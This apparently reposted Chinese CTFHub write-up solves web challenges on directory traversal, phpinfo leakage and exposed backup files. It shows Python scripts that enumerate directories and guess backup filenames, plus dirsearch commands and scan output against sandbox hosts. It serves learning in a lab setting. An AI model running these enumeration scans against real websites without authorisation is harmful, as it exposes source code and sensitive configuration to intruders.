赞
踩
### 目录遍历
开启题目,点击开始寻找 flag,发现进入了另外一个目录下。
试着点了几个目录,发现下面还有一层目录,但是很容易就发现问题了。
每个 第一层目录下还有第二层,都是 1,2,3,4,如果一个一个找,岂不是找的眼花了,这时候脚本小子的作用就出来了。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
url = 'http://challenge-501db503a22a8291.sandbox.ctfhub.com:10800/flag_in_here/'
for x in range(1,5):
for i in range(1,5):
re = requests.get(url + ('%d/%d' % (x, i)))
print(f'payload:{re.url}')
print(f'返回长度:{len(re.text)}\n')
找出返回的数据长度,长度越长说明返回的内容越多。
phpinfo() 是php环境配置信息的页面,里面注明了当前环境的版本信息、开启的模块等等敏感信息。
顶栏php的版本信息
php的当前系统环境信息,包括 操作系统信息、
一点一点看看就找到flag了,当然如果是冲着flag来的就直接 ctrl + f 吧
开启靶机,直接用 dirsearch 扫一下。
root➜on30ay/tools/dirsearch(master✗)» python3 dirsearch.py -u http://challenge-6460870a1eaf48fc.sandbox.ctfhub.com:10800/ -e tar,zip,tar.gz,rar -w ./db/bakfile_self.txt Missing required dependencies to run. Do you want dirsearch to automatically install them? [Y/n] y Installing required dependencies... _|. _ _ _ _ _ _|_ v0.4.2.4 (_||| _) (/_(_|| (_| ) Extensions: tar, zip, tar.gz, rar | HTTP method: GET | Threads: 25 | Wordlist size: 42 Output File: /home/on30ay/tools/dirsearch/reports/challenge-6460870a1eaf48fc.sandbox.ctfhub.com_10800/__22-05-20_17-45-38.txt Target: http://challenge-6460870a1eaf48fc.sandbox.ctfhub.com:10800/ [17:45:38] Starting: [17:45:39] 200 - 1KB - /www.zip # 扫出来的文件 [17:45:39] 503 - 605B - /back.bak [17:45:39] 503 - 605B - /wwwroot.bakup [17:45:39] 503 - 605B - /temp.tar.gz [17:45:39] 503 - 605B - /wwwroot.zip [17:45:39] 503 - 605B - /temp.rar
提供一下此次扫描文件使用的字典和代码
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests url = 'http://challenge-6460870a1eaf48fc.sandbox.ctfhub.com:10800/' filename_list = ['www', 'web', 'website', 'backup', 'back', 'wwwroot', 'temp'] fileexe_list = ['tar', 'tar.gz', 'zip', 'rar', 'bak', 'bakup'] for name in filename_list: for exe in fileexe_list: payload = (url + '/%s.%s') % (name, exe) re = requests.get(payload) if re.status_code == 200: print('存在备份文件的url:%s' % payload) continue
下载源码,找了一下 发现没有找到flag
最终访问txt文件名就得到了flag
找 index.php 源代码,还是一样,扫描下源代码
如果不是很复杂的备份文件的话 dirsearch 还是很厉害的
python3 dirsearch.py -u http://challenge-1a178c346247e62e.sandbox.ctfhub.com:10800/ -e tar,zip,tar.gz,rar -x 503
拿到flag
象征性的截个图
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/726630
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。